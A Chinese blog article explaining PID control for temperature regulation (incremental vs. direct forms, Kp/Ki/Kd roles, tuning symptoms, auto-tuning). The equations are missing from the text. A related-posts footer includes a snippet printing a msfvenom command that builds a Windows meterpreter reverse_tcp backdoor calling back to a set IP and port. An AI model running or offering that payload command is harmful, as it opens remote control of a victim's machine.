经常有人会问到PID的用法,今天小编在这里例举温度控制中的PID部分,希望能够把PID的具体应用说明白。

先说几个名词:

1.直接计算法和增量算法:这里的所谓增量算法就是相对于标准算法的相邻两次运算之差,得到的结果是增量,也就是说,在上一次的控制量的基础上需要增加(负值意味着减少)控制量,例如对于可控硅电机调速系统,就是可控硅的触发相位还需要提前(或迟后)的量,对于温度控制就是需要增加(或减少)加热比例,根据具体的应用适当选择采用哪一种算法,但基本的控制方法、原理是完全一样的,直接计算法得到的是当前需要的控制量,相邻两次控制量的差就是增量;

2.基本偏差e(t):表示当前测量值与设定目标间的差,设定目标是被减数,结果可以是正或负,正数表示还没有达到,负数表示已经超过了设定值。这是面向比例项用的变动数据。

3.累计偏差:这是我们每一次测量到的偏差值的总和,这是代数和,考虑到他的正负符号的运算,这是面向积分项目的一个变动数据。

4.基本偏差的相对偏差:e(t)-e(t-1),用本次的基本偏差减去上一次的基本偏差,用于考察当前控制的对象的趋势,作为快速反应的重要依据,这是面向微分项的一个变动数据。

5.三个基本参数:Kp,Ki,Kd.这是做好一个控制器的关键常数,分别成为比例常数、积分常数和微分常数,不同的控制对象他们需要选择不同的数值,还需要经过现场调试才能获得较好的效果。

6.标准的直接计算法公式

上一次的计算值:

两式相减得到增量法计算公式:

*这里我们对∑项的表示应该是对e(i)从1到t全部总和,但为了打字的简便就记作∑e(t)。

三个基本参数Kp,Ki,Kd.在实际控制中的作用

Ki = Kp*( T/Ti)

Kd = Kp*( Td/T)
Kp 比例系数; T 扫描周期; Ti积分时间; Td微分时间;

比例调节作用:是按比例反应系统的偏差,系统一旦出现了偏差,比例调节立即产生调节作用以减少偏差。比例作用大,可以加快调节,减少误差,但是过大的比例,使系统的稳定性下降,甚至造成系统的不稳定。

积分调节作用:是使系统消除稳态误差,提高无差度。因为有误差,积分调节就进行,直至无差,积分调节停止,积分调节输出一常值。积分作用的强弱取决于积分时间常数Ti,Ti越小,积分作用就越强。反之Ti大则积分作用弱,加入积分调节可使系统稳定性下降,动态响应变慢。积分作用常与另两种调节规律结合,组成PI调节器或PID调节器。

微分调节作用:微分作用反映系统偏差信号的变化率,具有预见性,能预见偏差变化的趋势,因此能产生超前的控制作用,在偏差还没有形成之前,已被微分调节作用消除。因此,可以改善系统的动态性能。在微分时间选择合适情况下,可以减少超调,减少调节时间。微分作用对噪声干扰有放大作用,因此过强的加微分调节,对系统抗干扰不利。此外,微分反应的是变化率,而当输入没有变化时,微分作用输出为零。微分作用不能单独使用,需要与另外两种调节规律相结合,组成PD或PID控制器。

具体应用中的数值量化处理

上面只是控制算法的数学方法,似乎有点抽象,在具体的控制项目中怎样对应呢?下面举一个在温度控制中的处理方法。

处理上的一些常用方法

参数的设定与调整

这是PID最困难的部分,编程时只设定他们的大概数值,然后通过反复的调试才能找到相对比较理想的参数值。面向不同的控制对象参数都不同,所以我们无法提供参考数值,但是我们可以根据这些参数在整个PID过程中的作用原理,来讨论我们的对策。

1.加温很迅速就达到了目标值,但是温度过冲很大:

a)比例系数太大,致使在未达到设定温度前加温比例过高;

b)微分系数过小,致使对对象反应不敏感;

2.加温经常达不到目标值,小于目标值的时间较多:

a)比例系数过小,加温比例不够;

b)积分系数过小,对恒偏差补偿不足;

3.基本上能够在控制目标上,但上下偏差偏大,经常波动:

a)微分系数过小,对即时变化反应不够快,反映措施不力;

b)积分系数过大,使微分反应被淹没钝化;

c)设定的基本定时周期过短,加热没有来得及传到测温点;

4.受工作环境影响较大,在稍有变动时就会引起温度的波动:

a)微分系数过小,对即时变化反应不够快,不能及时反映;

b)设定的基本定时周期过长,不能及时得到修正;

选择一个合适的时间常数很重要,要根据我们的输出单元采用什么器件来确定,如果是采用可控硅的,则可设定时间常数的范围很自由,如果采用继电器的则过于频繁的开关会影响继电器的使用寿命,所以就不太适合采用较短周期。一般的周期设定范围为1-10分钟较为合适。

为了调试方便,起码在调试阶段您必须编制一个可以对参数进行随时修改和记忆的接口,否则你会很辛苦,老是在现场与办公室之间来回跑。

关于自整定问题

在通用仪表行业用的比较多,因为他们的工作对象是不确定的,而不同的对象所使用的参数是千变万化的,所以无法为用户设定参数。这就引入了自整定的概念,用户首次使用的时候,启动自整定功能专门为新的工作对象寻找一套参数,并把他们记忆下来,作为今后工作的依据。其实自整定也就是作N次的测定,根据实际变化反应反复对参数进行修正,当达到一定要求后宣告自整定完成。这是一个多元素的优化问题,可以采用很多种优化方法,例如0.618黄金分割法就是一种很不错的算法,可以参考有关优化算法的书籍,我们这里就不做讨论了,需要说明的是,我们是对全部参数进行同时优化的,根据出现的不同情况去修正不同参数,我们的修正量将逐步缩小,当我们的修正量达到一定的范围以后,或者实测温度变化波动已经达到一定范围以后就可以认为自整定过程结束,记录最后结果返回正常控制状态。由于优化过程需要进行大量的试探,所以一次自整定过程往往需要花费很长时间,一般在半小时到两个小时左右。

修正的对策基本上就是上一节我们讨论的几种,对具体每一项参数的修正量,我们还可以赋以不同的比例参数,根据您认为的影响重要程度来确定,在0-1之间选取。

编后语

控制的方法不是只有PID一种,在很多场合他也未必就是最佳的控制算法,随着大量的应用研究,有很多种新的理念新的方法可以完全替代它,但是PID作为一种基本的控制算法已经比较成熟,基于PID为基础的变种算法或者叫做加强算法也派生了很多,他们的控制效果往往会比PID更有效,最常见的是这里的3个参数以控制目标为基准,参数相应成比例的变化,PID上的PID。面向每一个的工作对象,您可以摸索出一种最适合您的对象的控制方法,不拘一格,开创自己的路。

PID基础的更多相关文章

  1. PID控制器开发笔记之三:抗积分饱和PID控制器的实现

    积分作用的引入是为了消除系统的静差,提高控制精度.但是如果一个系统总是存在统一个方向的偏差,就可能无限累加而进而饱和,极大影响系统性能.抗积分饱和就是用以解决这一问题的方法之一.这一节我们就来实现抗积 ...

  2. 某科学的PID算法学习笔记

    最近,在某社团的要求下,自学了PID算法.学完后,深切地感受到PID算法之强大.PID算法应用广泛,比如加热器.平衡车.无人机等等,是自动控制理论中比较容易理解但十分重要的算法. 下面是博主学习过程中 ...

  3. (3.12)mysql基础深入——mysql日志文件/其他文件(socket/pid/表结构/Innodb)

    (3.12)mysql基础深入——mysql日志文件/其他文件(socket/pid/表结构/Innodb) 关键词:mysql日志文件,mysqldumpslow分析工具 目录:日志文件的分类 1. ...

  4. mongodb基础篇

    一.  关于mongodb 两种非关系数据库 Redis:满足极高读写性能的Key-Value数据库 键值式储存,可以通过键快速查询到值. 内存数据库,类似于mencached.性能出色.容量低,不具 ...

  5. 浅谈:javascript的面向对象编程之基础知识的介绍

    在进入javascript的面对对象之前,我们先来介绍一下javascript的几个概念. 1.javascript的面向对象的基本概念 function aa(){ } /* * 这里的aa,在我们 ...

  6. web前端基础知识-(七)Django进阶

    通过上节课的学习,我们已经对Django有了简单的了解,现在来深入了解下~ 1. 路由系统 1.1 单一路由对应 url(r'^index$', views.index), 1.2 基于正则的路由 u ...

  7. Linux基础知识整理

    一.基础知识 1.Linux简介 Linux是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和UNIX的多用户.多任务.支持多线程和多CPU的操作系统.它能运行主要的UNIX工具软件 ...

  8. java必备基础知识点

    Java基础 1. 简述Java的基本历史 java起源于SUN公司的一个GREEN的项目,其原先目的是:为家用消费电子产品发送一个信息的分布式代码系统,通过发送信息控制电视机.冰箱等 2. 简单写出 ...

  9. Nginx概念及基础安装--详细讲解

    1.主要内容: Nginx的基础           特性           配置部署           优化(了解) 2.Nginx 是什么? Nginx是一个开源的,支持高性能,高并发的www ...

随机推荐

  1. msf记录

    生成backdoor msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.187.133 LPORT=6666 -f exe >/ ...

  2. Ball

    玉 図のように二股に分かれている容器があります.1 から 10 までの番号が付けられた10 個の玉を容器の開口部 A から落とし.左の筒 B か右の筒 C に玉を入れます.板 D は支点 E を中心に ...

  3. (转)Amazon Aurora MySQL 数据库配置最佳实践

    转自:https://zhuanlan.zhihu.com/p/165047153 Amazon Aurora MySQL 数据库配置最佳实践 AWS云计算 ​ 已认证的官方帐号 1 人赞同了该文章 ...

  4. 360加固保so动态脱壳

    环境及工具 手机    : 中兴 U887 系统版本:   Android 2.3.5 工具    :   IDA pro 6.6 .0101Editor 目前so加壳有很多家,我己知的有 爱加密,梆 ...

  5. hdu1435 稳定婚姻问题

    题意: Stable Match Special Judge Problem Description Network 公司的BOSS 说现在他们公司建立的信号发射站和接收站经常出现信号发送接收不稳定的 ...

  6. hdu4908 中位数子串

    题意:       给你N个数字组成的数列,然后问你这里面有多少个是以M为中位数的子序列. 思路:       首先分四中简单的情况求        (1) 就是只有他自己的那种情况 那么sum+1 ...

  7. Python中数据的排序

    目录 列表的排序 sort(key,reverse)方法 sorted(target,key,reverse) 函数 元组tuple的排序 sort(key,reverse)方法 sorted(tar ...

  8. java8中的Optional

    Optional类主要解决空指针异常NullPointerException.Optional 类(java.util.Optional)是一个容器类,代表一个值存在或不存在,原来用 null 表示一 ...

  9. VS Code 远程开发

    听说有人想用VS Code实现远程开发,今天他来了 Remote Development Always reveal the SSH login terminal, 还可加装免密登录,一键登录尽显奢华 ...

  10. Java容器 | 基于源码分析List集合体系

    一.容器之List集合 List集合体系应该是日常开发中最常用的API,而且通常是作为面试压轴问题(JVM.集合.并发),集合这块代码的整体设计也是融合很多编程思想,对于程序员来说具有很高的参考和借鉴 ...